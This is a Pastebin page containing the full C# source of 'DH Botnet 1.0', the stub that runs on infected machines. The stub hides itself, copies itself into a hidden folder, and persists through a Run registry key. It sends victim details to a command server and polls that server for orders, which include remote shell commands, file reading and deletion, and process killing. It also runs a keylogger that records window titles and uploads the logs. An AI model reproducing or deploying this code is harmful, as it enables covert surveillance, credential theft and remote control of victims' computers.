Advertisement
Doddy

DH Botnet 1.0 (Stub)

Sep 27th, 2014
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 30.02 KB | None | 0 0
  1. // DH Botnet 1.0
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Open & Close CD : http://www.codeproject.com/Articles/9396/Open-and-Close-CD-drive-in-C
  5. // Hide & Show Taskbar : http://social.msdn.microsoft.com/Forums/vstudio/en-US/e231f5be-5233-4eee-b142-7aef50f37287/disabling-andor-hiding-windows-taskbar
  6. // Hide & Show desktop icons : http://stackoverflow.com/questions/13664903/show-hide-desktop-c-sharp
  7.  
  8. using System;
  9. using System.Collections.Generic;
  10. using System.ComponentModel;
  11. using System.Data;
  12. using System.Drawing;
  13. using System.Text;
  14. using System.Windows.Forms;
  15. using System.Runtime.InteropServices;
  16. using System.Diagnostics;
  17. using System.IO;
  18. using Microsoft.Win32;
  19. using System.Text.RegularExpressions;
  20.  
  21. namespace Stub
  22. {
  23.     public partial class Form1 : Form
  24.     {
  25.  
  26.         // Vars Global
  27.  
  28.         string datos = "";
  29.         string clave = "";
  30.         string ip = "";
  31.         string pais = "";
  32.         string user = "";
  33.         string os = "";
  34.         string url_master = "";
  35.         string time = "";
  36.         string code = "";
  37.         string ordenes_re = "";
  38.         string ordenes_cmd = "";
  39.         string ordenes_ar1 = "";
  40.         string ordenes_ar2 = "";
  41.         string ordenes_ar3 = "";
  42.  
  43.         string nombre1 = ""; // Declaramos la variable string nombre1 como vacia ("")
  44.         string nombre2 = ""; // Declaramos  la variable string nombre2 como vacia ("")
  45.  
  46.         // DLL to Keylogger
  47.  
  48.         [DllImport("User32.dll")]
  49.         private static extern short GetAsyncKeyState(Keys teclas);
  50.         [DllImport("user32.dll")]
  51.         private static extern short GetAsyncKeyState(Int32 teclas);
  52.         [DllImport("user32.dll")]
  53.         private static extern short GetKeyState(Keys teclas);
  54.         [DllImport("user32.dll")]
  55.         private static extern short GetKeyState(Int32 teclas);
  56.  
  57.         [DllImport("user32.dll")]
  58.         static extern IntPtr GetForegroundWindow();
  59.  
  60.         [DllImport("user32.dll")]
  61.         static extern int GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);
  62.  
  63.         // DLL to open & close CD
  64.  
  65.         [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
  66.         public static extern void mciSendStringA(string comandonow,string retornonow, long longitudnow, long callbacknow);
  67.  
  68.         //
  69.  
  70.         //DLL to hide & show taskbar
  71.  
  72.         [DllImport("user32.dll")]
  73.         public static extern int FindWindow(string clasenow, string textonow);
  74.  
  75.         //
  76.  
  77.         // DLL to hide & show desktop icons
  78.  
  79.         [DllImport("user32.dll")]
  80.         static extern bool ShowWindow(IntPtr vennownow, int comandonow);
  81.         [DllImport("user32.dll", SetLastError = true)]
  82.         static extern IntPtr FindWindowEx(IntPtr hannow, IntPtr nenow, string clasclasnow, string titulovenganow);
  83.         //
  84.  
  85.         // DLL to move mouse
  86.  
  87.         [DllImport("user32.dll", CallingConvention = CallingConvention.StdCall)]
  88.         static extern void SetCursorPos(int X, int Y);
  89.  
  90.         //
  91.  
  92.         public Form1()
  93.         {
  94.             InitializeComponent();
  95.  
  96.             this.WindowState = FormWindowState.Minimized;
  97.             //this.ShowInTaskbar = false;
  98.             this.Visible = false;
  99.  
  100.         }
  101.  
  102.         // Functions
  103.  
  104.         public void savefile(string file, string texto)
  105.         {
  106.             try
  107.             {
  108.                 System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  109.                 save.Write(texto);
  110.                 save.Close();
  111.             }
  112.             catch
  113.             {
  114.                 //
  115.             }
  116.         }
  117.  
  118.         public void cmd_normal(string command)
  119.         {
  120.             try
  121.             {
  122.                 System.Diagnostics.Process.Start("cmd", "/c " + command);
  123.             }
  124.             catch
  125.             {
  126.                 //
  127.             }
  128.         }
  129.  
  130.         public void cmd_hide(string command)
  131.         {
  132.             try
  133.             {
  134.                 ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
  135.                 cmd_now.RedirectStandardOutput = false;
  136.                 cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
  137.                 cmd_now.UseShellExecute = true;
  138.                 Process.Start(cmd_now);
  139.             }
  140.             catch
  141.             {
  142.                 //
  143.             }
  144.         }
  145.  
  146.         public string open_cd()
  147.         {
  148.             string resultado = "";
  149.             try
  150.             {
  151.                 mciSendStringA("set CDAudio door open", "", 127, 0);
  152.                 resultado = "[?] Open CD : OK";
  153.             }
  154.             catch
  155.             {
  156.                 resultado = "[?] Open CD : FAIL";
  157.             }
  158.             return resultado;
  159.         }
  160.  
  161.         public string close_cd()
  162.         {
  163.             string resultado = "";
  164.             try
  165.             {
  166.                 mciSendStringA("set CDAudio door closed", "", 127, 0);
  167.                 resultado = "[?] Close CD : OK";
  168.             }
  169.             catch
  170.             {
  171.                 resultado = "[?] Close CD : FAIL";
  172.             }
  173.             return resultado;
  174.         }
  175.  
  176.         public string hide_taskbar()
  177.         {
  178.             string resultado = "";
  179.  
  180.             try
  181.             {
  182.                 int calculando_int = FindWindow("Shell_TrayWnd", "");
  183.                 IntPtr valor_final = new IntPtr(calculando_int);
  184.                 ShowWindow(valor_final,0);
  185.                 resultado = "[?] Hide Taskbar : OK";
  186.             }
  187.             catch
  188.             {
  189.                 resultado = "[?] Hide Taskbar : FAIL";
  190.             }
  191.  
  192.             return resultado;
  193.         }
  194.  
  195.         public string show_taskbar()
  196.         {
  197.             string resultado = "";
  198.  
  199.             try
  200.             {
  201.                 int calculando_int = FindWindow("Shell_TrayWnd", "");
  202.                 IntPtr valor_final = new IntPtr(calculando_int);
  203.                 ShowWindow(valor_final, 1);
  204.                 resultado = "[?] Show Taskbar : OK";
  205.             }
  206.             catch
  207.             {
  208.                 resultado = "[?] Show Taskbar : FAIL";
  209.  
  210.             }
  211.  
  212.             return resultado;
  213.         }
  214.  
  215.         public string hide_icons()
  216.         {
  217.             string resultado = "";
  218.  
  219.             try
  220.             {
  221.                 IntPtr calculando_int = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Progman", null);
  222.                 ShowWindow(calculando_int,0);
  223.                 resultado = "[?] Hide Icons : OK";
  224.             }
  225.             catch
  226.             {
  227.                 resultado = "[?] Hide Icons : FAIL";
  228.             }
  229.  
  230.             return resultado;
  231.         }
  232.  
  233.         public string show_icons()
  234.         {
  235.             string resultado = "";
  236.             try
  237.             {
  238.                 IntPtr calculando_int = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Progman", null);
  239.                 ShowWindow(calculando_int, 1);
  240.                 resultado = "[?] Show Icons : OK";
  241.             }
  242.             catch
  243.             {
  244.                 resultado = "[?] Show Icons : FAIL";
  245.             }
  246.             return resultado;
  247.         }
  248.  
  249.         public string send_keys(string texto)
  250.         {
  251.             string resultado = "";
  252.  
  253.             try
  254.             {
  255.                 SendKeys.Send(texto);
  256.                 resultado = "[?] SendKeys : OK";
  257.             }
  258.             catch
  259.             {
  260.                 resultado = "[?] SendKeys : FAIL";
  261.             }
  262.  
  263.             return resultado;
  264.         }
  265.  
  266.         public string open_word(string texto)
  267.         {
  268.             string resultado = "";
  269.  
  270.             try
  271.             {
  272.                 cmd_normal("start winword.exe");
  273.                 System.Threading.Thread.Sleep(5000);
  274.                 send_keys(texto);
  275.                 resultado = "[?] OpenWord : OK";
  276.             }
  277.             catch
  278.             {
  279.                 resultado = "[?] OpenWord : FAIL";
  280.             }
  281.  
  282.             return resultado;
  283.         }
  284.  
  285.         public string readfile(string file)
  286.         {
  287.             string resultado = "";
  288.             try
  289.             {
  290.                 resultado = "[?] Read File : OK\n\n";
  291.                 resultado = resultado + "[Source Start]\n";
  292.                 resultado = resultado + System.IO.File.ReadAllText(file);
  293.                 resultado = resultado + "\n[Source End]\n";
  294.             }
  295.             catch
  296.             {
  297.                 resultado = "[?] Read File : FAIL";
  298.             }
  299.             return resultado;
  300.         }
  301.  
  302.         public string console(string cmd)
  303.         {
  304.  
  305.             string resultado = "";
  306.  
  307.             try
  308.             {
  309.                 resultado = "[?] Command : OK\n\n";
  310.                 System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  311.                 loadnow.RedirectStandardOutput = true;
  312.                 loadnow.UseShellExecute = false;
  313.                 loadnow.CreateNoWindow = true;
  314.                 System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  315.                 loadnownow.StartInfo = loadnow;
  316.                 loadnownow.Start();
  317.                 resultado = resultado + "[Source Start]\n";
  318.                 resultado = resultado + loadnownow.StandardOutput.ReadToEnd();
  319.                 resultado = resultado + "\n[Source End]\n";
  320.                
  321.  
  322.             }
  323.  
  324.             catch
  325.             {
  326.                 resultado = "[?] Command : FAIL";
  327.             }
  328.  
  329.             return resultado;
  330.  
  331.         }
  332.  
  333.         public string listar_directorio(string path)
  334.         {
  335.             string resultado = "";
  336.             string directorio = path;
  337.  
  338.             try
  339.             {
  340.  
  341.                 resultado = "[?] List Directory : OK\n\n";
  342.  
  343.                 List<string> directorios_encontrados = new List<string> { };
  344.  
  345.                 string[] buscando_directorios = System.IO.Directory.GetDirectories(directorio);
  346.  
  347.                 foreach (string directorios in buscando_directorios)
  348.                 {
  349.                     directorios_encontrados.Add(directorios);
  350.                 }
  351.  
  352.                 List<string> archivos_encontrados = new List<string> { };
  353.  
  354.                 string[] abriendo_archivos = System.IO.Directory.GetFiles(directorio);
  355.  
  356.                 foreach (string archivos in abriendo_archivos)
  357.                 {
  358.                     archivos_encontrados.Add(archivos);
  359.                 }
  360.  
  361.                 resultado = resultado + "[+] Directory Founds : " + directorios_encontrados.Count + "\n\n";
  362.  
  363.                 foreach (string dirs in directorios_encontrados)
  364.                 {
  365.                     resultado = resultado + "[+] Directory : " + dirs + "\n";
  366.                 }
  367.  
  368.                 resultado = resultado + "\n[+] Files Found : " + archivos_encontrados.Count + "\n\n";
  369.  
  370.                 foreach (string files in archivos_encontrados)
  371.                 {
  372.                     resultado = resultado + "[+] File : " + files + "\n";
  373.                 }
  374.  
  375.             }
  376.             catch
  377.             {
  378.                 resultado = "[?] List Directory : FAIL";
  379.             }
  380.  
  381.             return resultado;
  382.         }
  383.  
  384.         public string listar_procesos()
  385.         {
  386.             string resultado = "";
  387.             try
  388.             {
  389.                 resultado = resultado + "[?] Get Proccess : OK\n\n";
  390.                 Process[] process_encontrados = Process.GetProcesses();
  391.  
  392.                 resultado = resultado + "[Process Found] : " + process_encontrados.Length + "\n\n";
  393.  
  394.                 foreach (Process process_found in process_encontrados)
  395.                 {
  396.                     resultado = resultado + "[Process Name] : " + process_found.ProcessName + "\n";
  397.                     resultado = resultado + "[PID] : " + process_found.Id + "\n";
  398.                 }
  399.             }
  400.             catch
  401.             {
  402.                 resultado = "[?] Get Proccess : FAIL";
  403.             }
  404.             return resultado;
  405.         }
  406.  
  407.         public string matar_proceso(string nombre)  
  408.         {
  409.             string resultado = "";
  410.             try
  411.             {
  412.                 resultado = "[?] Kill Process : OK";
  413.                 Process[] kill_process = Process.GetProcessesByName(nombre);
  414.                 foreach (Process die in kill_process)
  415.                 {
  416.                     die.Kill();
  417.                 }
  418.             }
  419.             catch
  420.             {
  421.                 resultado = "[?] Kill Proccess : FAIL";
  422.             }
  423.             return resultado;
  424.         }
  425.  
  426.         public string eliminar_esto(string path)
  427.         {
  428.             string resultado = "";
  429.  
  430.             if (File.Exists(path))
  431.             {
  432.                 try
  433.                 {
  434.                     File.Delete(path);
  435.                     resultado = resultado + "[?] File Deleted : OK";
  436.                 }
  437.                 catch
  438.                 {
  439.                     resultado = resultado + "[?] File Deleted : FAIL";
  440.                 }
  441.             }
  442.  
  443.             if (Directory.Exists(path))
  444.             {
  445.                 try
  446.                 {
  447.                     string[] archivos_encontrados = Directory.GetFiles(path);
  448.                     foreach (string archivo_a_borrar in archivos_encontrados)
  449.                     {
  450.                         File.Delete(archivo_a_borrar);
  451.                     }
  452.  
  453.                     Directory.Delete(path);
  454.                     resultado = resultado + "[?] Directory Deleted : OK";
  455.                 }
  456.                 catch
  457.                 {
  458.                     resultado = resultado + "[?] Directory Deleted : FAIL";
  459.                 }
  460.             }
  461.  
  462.             return resultado;
  463.         }
  464.  
  465.         public string crazy_mouse(string tiempo)
  466.         {
  467.             string resultado = "";
  468.             try
  469.             {
  470.                 for (int posicion_mouse = 0; posicion_mouse < Convert.ToInt32(tiempo); posicion_mouse++)
  471.                 {
  472.                     System.Threading.Thread.Sleep(1000);
  473.                     SetCursorPos(posicion_mouse, posicion_mouse);
  474.                 }
  475.                 resultado = "[?] Crazy Mouse : OK";
  476.             }
  477.             catch
  478.             {
  479.                 resultado = "[?] Crazy Mouse : FAIL";
  480.             }
  481.  
  482.             return resultado;
  483.         }
  484.  
  485.         public string dh_generate(int cantidad)
  486.         {
  487.  
  488.             // Based on : http://stackoverflow.com/questions/54991/generating-random-passwords
  489.             // Thanks to Radu094
  490.  
  491.             string letrasynumeros = "doddyhackmanwashere123456789";
  492.             string password_gen = "";
  493.             Random randomnow = new Random();
  494.             for (int num = 0; num < cantidad; num++)
  495.             {
  496.                 password_gen = password_gen + letrasynumeros[randomnow.Next(letrasynumeros.Length)];
  497.             }
  498.             return Convert.ToString(password_gen);
  499.         }
  500.  
  501.         public string getmydata()
  502.         {
  503.             string resultado = "";
  504.  
  505.             string consegui_key = "";
  506.             string consegui_ip = "";
  507.             string consegui_pais = "";
  508.             string consegui_user = "";
  509.             string consegui_os = "";
  510.  
  511.             DH_Tools tools = new DH_Tools();
  512.  
  513.             try
  514.             {
  515.                 consegui_key = tools.openword("key");
  516.             }
  517.             catch
  518.             {
  519.                 consegui_key = "?";
  520.             }
  521.  
  522.             string code = tools.toma("http://whatismyipaddress.com/");
  523.  
  524.             Match regex = Regex.Match(code, "Click for more about (.*)\"", RegexOptions.IgnoreCase);
  525.             if (regex.Success)
  526.             {
  527.                 consegui_ip = regex.Groups[1].Value;
  528.             } else {
  529.                 consegui_ip = "?";
  530.             }
  531.  
  532.             regex = Regex.Match(code, "Country:</th><td style=\"font-size:14px;\">(.*)</td></tr>", RegexOptions.IgnoreCase);
  533.             if (regex.Success)
  534.             {
  535.                 consegui_pais = regex.Groups[1].Value;
  536.             }
  537.             else
  538.             {
  539.                 consegui_pais = "?";
  540.             }
  541.  
  542.             try
  543.             {
  544.                 consegui_user = System.Environment.UserName;
  545.             }
  546.             catch
  547.             {
  548.                 consegui_user = "?";
  549.             }
  550.  
  551.             try
  552.             {
  553.                 consegui_os = Environment.OSVersion.ToString();
  554.             }
  555.             catch
  556.             {
  557.                 consegui_os = "?";
  558.             }
  559.  
  560.             resultado = clean_error_regex("[key]" + consegui_key + "[key]" + "[ip]" + consegui_ip + "[ip]" +
  561.             "[pais]" + consegui_pais + "[pais]" + "[user]" + consegui_user + "[user]" +
  562.             "[os]" + consegui_os + "[os]");
  563.  
  564.             return resultado;
  565.         }
  566.  
  567.         public void saludo()
  568.         {
  569.               DH_Tools tools = new DH_Tools();
  570.               tools.tomar(url_master, "entradatrasera=hidad&key=" + clave + "&ip=" + ip + "&pais="
  571.               + pais + "&username=" + user + "&os=" + os + "&timeout=" + time);
  572.         }
  573.  
  574.         public void sigo_vivo()
  575.         {
  576.             DH_Tools tools = new DH_Tools();
  577.             tools.tomar(url_master, "sigovivo=alpedo&clavenow=" + clave);
  578.         }
  579.  
  580.         public string ver_ordenes()
  581.         {
  582.             string resultado = "";
  583.  
  584.             string re_cmd = "";
  585.             string arg1 = "";
  586.             string arg2 = "";
  587.             string arg3 = "";
  588.  
  589.             DH_Tools tools = new DH_Tools();
  590.  
  591.             string code = tools.tomar(url_master, "ordenespabots=alpedo&clave=" + clave);
  592.  
  593.             Match regex = Regex.Match(code, "Orden : (.*?)<br>", RegexOptions.IgnoreCase);
  594.             if (regex.Success)
  595.             {
  596.                 re_cmd = regex.Groups[1].Value;
  597.             }
  598.  
  599.             regex = Regex.Match(code, "Arg1 : (.*?)<br>", RegexOptions.IgnoreCase);
  600.             if (regex.Success)
  601.  
  602.             {
  603.                 arg1 = regex.Groups[1].Value;
  604.             }
  605.  
  606.             regex = Regex.Match(code, "Arg2 : (.*?)<br>", RegexOptions.IgnoreCase);
  607.             if (regex.Success)
  608.             {
  609.                 arg2 = regex.Groups[1].Value;
  610.             }
  611.  
  612.             regex = Regex.Match(code, "Arg3 : (.*?)<br>", RegexOptions.IgnoreCase);
  613.             if (regex.Success)
  614.             {
  615.                 arg3 = regex.Groups[1].Value;
  616.             }
  617.  
  618.             resultado = clean_error_regex("[comando]" + re_cmd + "[comando]" + "[arg1]" + arg1 + "[arg1]" +
  619.             "[arg2]" + arg2 + "[arg2]" + "[arg3]" + arg3 + "[arg3]");
  620.  
  621.             return resultado;
  622.         }
  623.  
  624.         public void mandar_rta(string contenido)
  625.         {
  626.             DH_Tools tools = new DH_Tools();
  627.             tools.tomar(url_master, "mandocarajo=alpedo&miclave=" + clave + "&mirta=" +contenido);
  628.         }
  629.  
  630.         public string clean_error_regex(string text)
  631.         {
  632.             string resultado = "";
  633.  
  634.             resultado = text;
  635.             resultado = resultado.Replace("[", "-");
  636.             resultado = resultado.Replace("]", "-");
  637.  
  638.             return resultado;
  639.         }
  640.  
  641.         // End
  642.  
  643.         private void Form1_Load(object sender, EventArgs e)
  644.         {
  645.  
  646.             this.Hide();
  647.            
  648.             DH_Tools tools = new DH_Tools();
  649.  
  650.             load_config config = new load_config();
  651.             config.load_data();
  652.             //MessageBox.Show(config.get_data());
  653.  
  654.             string botnet_online = config.botnet_online;
  655.  
  656.             if (botnet_online == "1")
  657.             {
  658.                
  659.                 //MessageBox.Show("Botnet Online");
  660.  
  661.                 url_master = config.pagina;
  662.                 time = config.timeout;
  663.  
  664.                 // Configuracion Inicial
  665.  
  666.                 string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE")+"/tentob/";
  667.  
  668.                 string ruta_botnet_inicial = Application.ExecutablePath;
  669.  
  670.                 string rutadondeestoy = System.Reflection.Assembly.GetEntryAssembly().Location;
  671.                 string nombredondestoy = Path.GetFileName(rutadondeestoy);
  672.  
  673.                 string ruta_botnet_final = directorio_final + nombredondestoy;
  674.  
  675.                 if (!Directory.Exists(directorio_final))
  676.                 {
  677.                     Directory.CreateDirectory(directorio_final);
  678.                     File.SetAttributes(directorio_final, FileAttributes.Hidden);
  679.                 }
  680.                 else
  681.                 {
  682.                     File.SetAttributes(directorio_final, FileAttributes.Hidden);
  683.                 }
  684.  
  685.                 Directory.SetCurrentDirectory(directorio_final);
  686.  
  687.                 try
  688.                 {
  689.                     File.Copy(ruta_botnet_inicial, ruta_botnet_final);
  690.                     File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden);
  691.                 }
  692.                 catch
  693.                 {
  694.                     //
  695.                 }
  696.  
  697.                 if (!File.Exists("key"))
  698.                 {
  699.                     tools.savefile("key", dh_generate(5));
  700.                     File.SetAttributes("key", FileAttributes.Hidden);
  701.                 }
  702.                 else
  703.                 {
  704.                     File.SetAttributes("key", FileAttributes.Hidden);
  705.                 }
  706.  
  707.                 if (!File.Exists(directorio_final + "logs.out"))
  708.                 {
  709.                     tools.savefile("logs.out", "");
  710.                     File.SetAttributes("logs.out", FileAttributes.Hidden);
  711.                 }
  712.  
  713.                 try
  714.                 {
  715.  
  716.                     RegistryKey loadnow = Registry.LocalMachine;
  717.                     loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  718.                     loadnow.SetValue("uberkkkk", ruta_botnet_final, RegistryValueKind.String);
  719.                     loadnow.Close();
  720.  
  721.                 }
  722.  
  723.                 catch
  724.                 {
  725.                     //
  726.                 }
  727.  
  728.                 // Fin de configuracion inicial
  729.  
  730.                 string datos = getmydata();
  731.  
  732.                 Match regex = Regex.Match(datos,"-key-(.*?)-key-", RegexOptions.IgnoreCase);
  733.                 if (regex.Success)
  734.                 {
  735.                     clave = regex.Groups[1].Value;
  736.                 }
  737.  
  738.                 regex = Regex.Match(datos, "-ip-(.*?)-ip-", RegexOptions.IgnoreCase);
  739.                 if (regex.Success)
  740.                 {
  741.                     ip = regex.Groups[1].Value;
  742.                 }
  743.  
  744.                 regex = Regex.Match(datos, "-pais-(.*?)-pais-", RegexOptions.IgnoreCase);
  745.                 if (regex.Success)
  746.                 {
  747.                     pais = regex.Groups[1].Value;
  748.                 }
  749.  
  750.                 regex = Regex.Match(datos, "-user-(.*?)-user-", RegexOptions.IgnoreCase);
  751.                 if (regex.Success)
  752.                 {
  753.                     user = regex.Groups[1].Value;
  754.                 }
  755.  
  756.                 regex = Regex.Match(datos, "-os-(.*?)-os-", RegexOptions.IgnoreCase);
  757.                 if (regex.Success)
  758.                 {
  759.                     os = regex.Groups[1].Value;
  760.                 }
  761.  
  762.                 saludo();
  763.  
  764.                 panelcontrol.Interval = Convert.ToInt32(time) * 1000;
  765.                 panelcontrol.Enabled = true;
  766.  
  767.                 capturar_teclas.Interval = 50;
  768.                 capturar_teclas.Enabled = true;
  769.  
  770.                 capturar_ventanas.Interval = 10;
  771.                 capturar_ventanas.Enabled = true;
  772.  
  773.             }
  774.             else
  775.             {
  776.                 MessageBox.Show("Botnet Offline");
  777.                 Application.Exit();
  778.             }
  779.         }
  780.  
  781.         private void panelcontrol_Tick(object sender, EventArgs e)
  782.         {
  783.             sigo_vivo();
  784.  
  785.             string ordenes_re = clean_error_regex(ver_ordenes());
  786.  
  787.             Match regex = Regex.Match(ordenes_re, "-comando-(.*)-comando-", RegexOptions.IgnoreCase);
  788.             if (regex.Success)
  789.             {
  790.                 ordenes_cmd = regex.Groups[1].Value;
  791.             }
  792.             regex = Regex.Match(ordenes_re, "-arg1-(.*)-arg1-", RegexOptions.IgnoreCase);
  793.             if (regex.Success)
  794.             {
  795.                 ordenes_ar1 = regex.Groups[1].Value;
  796.             }
  797.             regex = Regex.Match(ordenes_re, "-arg2-(.*)-arg2-", RegexOptions.IgnoreCase);
  798.             if (regex.Success)
  799.             {
  800.                 ordenes_ar2 = regex.Groups[1].Value;
  801.             }
  802.             regex = Regex.Match(ordenes_re, "-arg3-(.*)-arg3-", RegexOptions.IgnoreCase);
  803.             if (regex.Success)
  804.             {
  805.                 ordenes_ar3 = regex.Groups[1].Value;
  806.             }
  807.  
  808.             // Functions Botnet
  809.  
  810.             if (ordenes_cmd == "CMD")
  811.             {
  812.                 mandar_rta(console(ordenes_ar1));
  813.             }
  814.  
  815.             if (ordenes_cmd == "GetProcess")
  816.             {
  817.                 mandar_rta(listar_procesos());
  818.             }
  819.  
  820.             if (ordenes_cmd == "KillProcess")
  821.             {
  822.                 mandar_rta(matar_proceso(ordenes_ar1));
  823.             }
  824.  
  825.             if (ordenes_cmd == "ListDir")
  826.             {
  827.                 mandar_rta(listar_directorio(ordenes_ar1));
  828.             }
  829.  
  830.             if (ordenes_cmd == "Delete")
  831.             {
  832.                 mandar_rta(eliminar_esto(ordenes_ar1));
  833.             }
  834.  
  835.             if (ordenes_cmd == "OpenFile")
  836.             {
  837.                 mandar_rta(readfile(ordenes_ar1));
  838.             }
  839.  
  840.             if (ordenes_cmd == "OpenCD")
  841.             {
  842.                 mandar_rta(open_cd());
  843.             }
  844.  
  845.             if (ordenes_cmd == "CloseCD")
  846.             {
  847.                 mandar_rta(close_cd());
  848.             }
  849.  
  850.             if (ordenes_cmd == "HideIcons")
  851.             {
  852.                 mandar_rta(hide_icons());
  853.             }
  854.  
  855.             if (ordenes_cmd == "ShowIcons")
  856.             {
  857.                 mandar_rta(show_icons());
  858.             }
  859.  
  860.             if (ordenes_cmd == "HideTaskbar")
  861.             {
  862.                 mandar_rta(hide_taskbar());
  863.             }
  864.  
  865.             if (ordenes_cmd == "ShowTaskbar")
  866.             {
  867.                 mandar_rta(show_taskbar());
  868.             }
  869.  
  870.             if (ordenes_cmd == "SendKeys")
  871.             {
  872.                 mandar_rta(send_keys(ordenes_ar1));
  873.             }
  874.  
  875.             if (ordenes_cmd == "OpenWord")
  876.             {
  877.                 mandar_rta(open_word(ordenes_ar1));
  878.             }
  879.  
  880.             if (ordenes_cmd == "CrazyMouse")
  881.             {
  882.                 mandar_rta(crazy_mouse(ordenes_ar1));
  883.             }
  884.  
  885.             if (ordenes_cmd == "ReadLogsKeylogger")
  886.             {
  887.                 mandar_rta(readfile("logs.out"));
  888.             }
  889.  
  890.  
  891.             // Fin de funciones Botnet
  892.  
  893.         }
  894.  
  895.         private void capturar_teclas_Tick(object sender, EventArgs e)
  896.         {
  897.             // Keylogger Based on http://www.blackstuff.net/f44/c-keylogger-4848/
  898.             // Thanks to Carlos Raposo
  899.  
  900.             List<string> teclas_izquierdas_numero = new List<string> { "96", "97", "98", "99", "100", "101", "102", "103", "104", "105" };
  901.             List<string> teclas_izquierdas_valor = new List<string> { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
  902.  
  903.             for (int numcontrolnumizquierda = 0; numcontrolnumizquierda < teclas_izquierdas_numero.Count; numcontrolnumizquierda++)
  904.             {
  905.                 int numeros_izquierda_control = GetAsyncKeyState(Convert.ToInt16(teclas_izquierdas_numero[numcontrolnumizquierda]));
  906.                 if (numeros_izquierda_control == -32767)
  907.                 {
  908.                     savefile("logs.out", teclas_izquierdas_valor[numcontrolnumizquierda]);
  909.                 }
  910.             }
  911.  
  912.             for (int num = 0; num <= 255; num++)
  913.             {
  914.                 int numcontrol = GetAsyncKeyState(num);
  915.                 if (numcontrol == -32767)
  916.                 {
  917.  
  918.                     if (num >= 65 && num <= 122)
  919.                     {
  920.                         if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
  921.                         {
  922.                             string letra = Convert.ToChar(num + 32).ToString();
  923.                             savefile("logs.out", letra);
  924.                         }
  925.                         else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
  926.                         {
  927.                             string letra = Convert.ToChar(num).ToString();
  928.                             savefile("logs.out", letra);
  929.                         }
  930.                         else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
  931.                         {
  932.                             string letra = Convert.ToChar(num).ToString();
  933.                             savefile("logs.out", letra);
  934.  
  935.                         }
  936.                         else
  937.                         {
  938.                             string letra = Convert.ToChar(num + 32).ToString();
  939.                             savefile("logs.out", letra);
  940.                         }
  941.                     }
  942.                     else if (num >= 48 && num <= 57)
  943.                     {
  944.                         if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
  945.                         {
  946.                             string letra = Convert.ToChar(num - 16).ToString();
  947.                             savefile("logs.out", letra);
  948.                         }
  949.                         else
  950.                         {
  951.                             string letra = Convert.ToChar(num).ToString();
  952.                             savefile("logs.out", letra);
  953.                         }
  954.                     }
  955.                     else
  956.                     {
  957.                         string letra_rara = Enum.GetName(typeof(Keys), num);
  958.                         savefile("logs.out", "[" + letra_rara + "]");
  959.                     }
  960.                 }
  961.             }
  962.  
  963.         }
  964.  
  965.         private void capturar_ventanas_Tick(object sender, EventArgs e)
  966.         {
  967.             const int limite = 256;
  968.             StringBuilder buffer = new StringBuilder(limite);
  969.             IntPtr manager = GetForegroundWindow();
  970.  
  971.             if (GetWindowText(manager, buffer, limite) > 0)
  972.             {
  973.                 nombre1 = buffer.ToString();
  974.  
  975.                 if (nombre1 != nombre2)
  976.                 {
  977.                     nombre2 = nombre1;
  978.                     savefile("logs.out", "\n[" + nombre2 + "]\n");
  979.                 }
  980.             }
  981.         }
  982.     }
  983. }
  984.  
  985. // The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement